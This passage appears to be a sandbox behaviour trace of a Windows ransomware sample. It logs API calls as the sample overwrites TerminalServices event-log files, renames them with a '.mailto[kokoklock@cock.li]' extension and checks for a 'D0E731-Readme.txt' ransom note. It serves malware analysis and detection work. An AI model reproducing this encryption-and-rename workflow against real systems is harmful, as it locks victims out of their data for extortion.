(in: hFile=0x7ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa62f8c8*=0x6c, lpOverlapped=0x0) returned 1 [0064.389] WriteFile (in: hFile=0x7ac, lpBuffer=0x34be528*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0x34be528*, lpNumberOfBytesWritten=0xa62f8c8*=0x20, lpOverlapped=0x0) returned 1 [0064.389] WriteFile (in: hFile=0x7ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa62f8c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa62f8c8*=0x4, lpOverlapped=0x0) returned 1 [0064.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be528) returned 1 [0064.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be550) returned 1 [0064.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0064.389] CloseHandle (hObject=0x7ac) returned 1 [0064.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x33f01a0 [0064.480] wcscpy (in: _Dest=0x33f01a0, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" [0064.480] wcscat (in: _Dest=0x33f01a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.480] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.516] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f01a0) returned 1 [0064.517] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.517] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.517] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.517] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce458) returned 1 [0064.517] RtlExitUserThread (Status=0x1) Thread: id = 181 os_tid = 0x114c [0063.439] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0063.780] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0063.780] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a8 [0063.780] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0xa6af880 | out: lpFileSize=0xa6af880*=69632) returned 1 [0063.780] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.780] ReadFile (in: hFile=0x7a8, lpBuffer=0xa6af854, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0xa6af854*, lpNumberOfBytesRead=0xa6af850*=0x4, lpOverlapped=0x0) returned 1 [0064.186] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4d8 [0064.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be410 [0064.186] NtQuerySystemTime (in: CurrentTime=0xa6af82c | out: CurrentTime=0xa6af82c*=132121176220808993) returned 0x0 [0064.186] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x39cbbfa8 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xbe15de75 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xe06fa2a6 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xa69a20f4 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xa1ced72a [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x26b6c420 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x6426d3b5 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x80f7aac0 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x6d65bdfb [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x839032e8 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x27f61396 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x624ebb06 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x9bd6c776 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xf6f98633 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x8423756c [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x51c729bc [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xff6a557c [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xee7aaaa5 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x27dfb476 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xfcf63a67 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x934a36a4 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xd417476c [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xb205f2c3 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x1a306104 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x44e1d21c [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x3ee9ebfe [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x2b52a9b4 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x5d832233 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xdb1e0b58 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x8a5db616 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0xe75c2bd9 [0064.187] RtlRandom (in: Seed=0xa6af838 | out: Seed=0xa6af838) returned 0x916509f4 [0064.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be438 [0064.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0064.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55fcc28 [0064.200] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.200] ReadFile (in: hFile=0x7a8, lpBuffer=0x55fcc28, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa6af804, lpOverlapped=0x0 | out: lpBuffer=0x55fcc28*, lpNumberOfBytesRead=0xa6af804*=0x4096, lpOverlapped=0x0) returned 1 [0064.380] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0064.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0064.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0064.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0064.381] WriteFile (in: hFile=0x7a8, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa6af804, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa6af804*=0x4096, lpOverlapped=0x0) returned 1 [0064.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.381] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x33efd60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa6af83c, lpOverlapped=0x0 | out: lpBuffer=0x33efd60*, lpNumberOfBytesWritten=0xa6af83c*=0x20, lpOverlapped=0x0) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55fcc28) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x34be500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0x34be500*, lpNumberOfBytesWritten=0xa6af850*=0x8, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0xa6af868*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0xa6af868*, lpNumberOfBytesWritten=0xa6af850*=0x4, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa6af850*=0x4, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa6af850*=0x6c, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x34be4d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0x34be4d8*, lpNumberOfBytesWritten=0xa6af850*=0x20, lpOverlapped=0x0) returned 1 [0064.382] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6af850, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa6af850*=0x4, lpOverlapped=0x0) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4d8) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be438) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0064.382] CloseHandle (hObject=0x7a8) returned 1 [0064.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe0) returned 0x33fb0d8 [0064.493] wcscpy (in: _Dest=0x33fb0d8, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" [0064.493] wcscat (in: _Dest=0x33fb0d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0064.493] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.581] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb0d8) returned 1 [0064.581] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0064.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.582] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.582] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.582] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6b10) returned 1 [0064.582] RtlExitUserThread (Status=0x1) Thread: id = 182 os_tid = 0x1150 [0063.440] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0063.778] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.779] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a4 [0063.779] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0xa72fa90 | out: lpFileSize=0xa72fa90*=69632) returned 1 [0063.779] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.779] ReadFile (in: hFile=0x7a4, lpBuffer=0xa72fa64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0xa72fa64*, lpNumberOfBytesRead=0xa72fa60*=0x4, lpOverlapped=0x0) returned 1 [0064.172] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0064.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be640 [0064.172] NtQuerySystemTime (in: CurrentTime=0xa72fa3c | out: CurrentTime=0xa72fa3c*=132121176220653042) returned 0x0 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x67f3ce91 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x4e90930e [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x29a25ce [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x2eed5b9c [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xca938003 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x94660410 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xc31c7691 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x376c1cad [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x61463480 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xd4ab150 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xccd27d46 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xd93755b8 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x668ea417 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x7aeec8f [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xe82244d [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xa25044b2 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xd56e821d [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x20c7e8af [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x99461c61 [0064.172] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xdc02a166 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x898efc7d [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x5c19eb89 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xff87d902 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xb581d983 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x8f0eb8ee [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x4058fd86 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x5a04d91c [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xac16215e [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x7d571915 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x115704a7 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0x1d2cb9c5 [0064.173] RtlRandom (in: Seed=0xa72fa48 | out: Seed=0xa72fa48) returned 0xd7e41ba [0064.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be5c8 [0064.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be3e8 [0064.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55f8b88 [0064.186] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.186] ReadFile (in: hFile=0x7a4, lpBuffer=0x55f8b88, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa72fa14, lpOverlapped=0x0 | out: lpBuffer=0x55f8b88*, lpNumberOfBytesRead=0xa72fa14*=0x4096, lpOverlapped=0x0) returned 1 [0064.376] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd70 [0064.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0064.377] WriteFile (in: hFile=0x7a4, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa72fa14, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa72fa14*=0x4096, lpOverlapped=0x0) returned 1 [0064.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.377] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.377] WriteFile (in: hFile=0x7a4, lpBuffer=0x33efae0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa72fa4c, lpOverlapped=0x0 | out: lpBuffer=0x33efae0*, lpNumberOfBytesWritten=0xa72fa4c*=0x20, lpOverlapped=0x0) returned 1 [0064.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55f8b88) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0x34be3e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0x34be3e8*, lpNumberOfBytesWritten=0xa72fa60*=0x8, lpOverlapped=0x0) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0xa72fa78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0xa72fa78*, lpNumberOfBytesWritten=0xa72fa60*=0x4, lpOverlapped=0x0) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa72fa60*=0x4, lpOverlapped=0x0) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa72fa60*=0x6c, lpOverlapped=0x0) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xa72fa60*=0x20, lpOverlapped=0x0) returned 1 [0064.379] WriteFile (in: hFile=0x7a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa72fa60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa72fa60*=0x4, lpOverlapped=0x0) returned 1 [0064.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0064.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be5c8) returned 1 [0064.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3e8) returned 1 [0064.379] CloseHandle (hObject=0x7a4) returned 1 [0064.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x347a6d0 [0064.501] wcscpy (in: _Dest=0x347a6d0, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" [0064.501] wcscat (in: 